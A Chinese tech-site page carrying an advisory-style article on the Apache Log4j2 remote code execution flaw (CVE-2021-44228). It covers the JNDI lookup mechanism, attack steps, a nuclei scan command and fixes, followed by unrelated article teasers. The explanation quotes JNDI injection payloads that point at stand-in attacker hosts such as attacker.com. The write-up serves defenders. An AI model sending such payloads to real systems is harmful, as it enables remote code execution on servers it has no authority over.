news 2026/5/11 23:42:36

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVSS评分:10.0(满分)

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

  • 1. 漏洞原理
  • 2. 漏洞危害
  • 3. 漏洞修复
    • 升级版本修复
    • 缓释方案

1. 漏洞原理

Apache Log4j2 作为广泛使用的 Java 日志库,支持一种叫做Lookup(查找替换)的机制,用于在日志消息中动态注入变量或外部内容。

例如:

${jndi:ldap://malicious-server/exploit}

这是一个 JNDI Lookup 表达式,它让 Log4j 去调用 Java Naming and Directory Interface(JNDI) 去解析某个 URL。

然而,在受到漏洞影响的 Log4j 版本中,JNDI 查找可以从 LDAP、RMI、DNS 等远程服务器获取并执行代码。攻击 step:

  1. 攻击者构造 payload:例如 HTTP User‑Agent 或其他可被日志记录的字段包含${jndi:ldap://attacker.com/malicious}
  2. 目标应用接收请求
  3. Log4j 记录日志消息,发现字符串中的 JNDI Lookup
  4. JNDI 启动并向攻击者控制的服务器发起 LDAP(其他协议也可以)请求
  5. 攻击者服务器返回一个恶意 Java 类
  6. 恶意类被执行,导致任意代码执行(RCE)

检测方法(需要机器有出网的权限):

nuclei -u http://xxx.xxx.xxx/ -t nuclei-templates/http/cves/2021/CVE-2021-44228.yaml

2. 漏洞危害

微步标记,极度高危,应立刻修复:

3. 漏洞修复

升级版本修复

官方已发布修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

升级 Log4j 到修补版本:

  • 升级到 Log4j 2.16.0 或更高(2.15.0可能不稳定)
  • 更高版本(如 2.17.x)已彻底禁用了可能的远程 JNDI Lookup。

缓释方案

1、设置 JVM 系统变量或环境变量:

-Dlog4j2.formatMsgNoLookups=true

或者:

exportLOG4J_FORMAT_MSG_NO_LOOKUPS=true

这将阻止 Log4j 解析 Lookup 表达式,从而降低攻击面。

2、移除 JndiLookup 类

在无法升级时,可以手动从 JAR 包中移除 JNDI 代码:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这能阻止 JNDI Lookup 类被加载。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/11 11:21:47

我被Hoisting“坑“过无数次,才搞明白JavaScript这个致命陷阱

你有没有遇到过这样的诡异现象?代码明明没有错,console.log却打印出undefined而不是报错?或者定时器里的变量值永远都一样?这些"灵异事件"的幕后黑手,就是JavaScript的Hoisting机制。为什么每个程序员都要懂…

作者头像 李华
网站建设 2026/5/11 23:42:19

MPI 广播一个数组代码示例

1. 基本广播操作 (MPI_Bcast) #include <stdio.h> #include <stdlib.h> #include <mpi.h>int main(int argc, char** argv) {MPI_Init(&argc, &argv);int rank, size;MPI_Comm_rank(MPI_COMM_WORLD, &rank);MPI_Comm_size(MPI_COMM_WORLD, &…

作者头像 李华
网站建设 2026/5/9 14:13:25

.NET开发-PDF处理不重复造轮子!PDFPatcher省去80%代码,聚焦核心业务

前言PDF格式因稳定性强、跨平台兼容的特性&#xff0c;被广泛应用于办公文档传输、资料存档、合同流转等各类场景&#xff0c;但其只读属性也带来了诸多使用局限——常规操作中&#xff0c;用户在编辑页面、调整结构、解除权限限制、合并拆分文档等需求上往往束手无策&#xff…

作者头像 李华
网站建设 2026/5/9 16:59:02

C# 实现简版 Claude Code | Bash 就是一切(1)

❝该系列文章基于 github.com/shareAI-lab/learn-claude-code 写就&#xff0c;该仓库以大道至简的风格剖析了Claude Code的核心原理&#xff0c;值得大家学习。由于该仓库是基于Python语言&#xff0c;为方便.NET开发者学习&#xff0c;我已经将代码基于.NET 10的dotnet file …

作者头像 李华
网站建设 2026/5/10 11:17:55

基于大数据的热门旅游景点推荐系统(源码+lw+部署文档+讲解等)

课题介绍 本课题旨在设计并实现一套基于大数据的热门旅游景点推荐系统&#xff0c;解决当前旅游出行中景点信息杂乱、推荐精准度低、用户偏好匹配不足、出行决策效率低等问题&#xff0c;适配游客出行规划、旅游平台运营及景区宣传推广的核心需求。系统融合大数据技术与相关开发…

作者头像 李华
网站建设 2026/5/9 18:49:38

基于大数据的专业智能导学系统的设计与实现(源码+lw+部署文档+讲解等)

课题介绍本课题旨在设计并实现一套基于大数据的专业智能导学系统&#xff0c;解决当前专业教学中导学针对性不足、学习路径模糊、学情分析滞后、个性化辅导缺失等问题&#xff0c;适配高校专业教学、学生自主学习及教师导学辅导的核心需求。系统融合大数据技术与相关开发框架&a…

作者头像 李华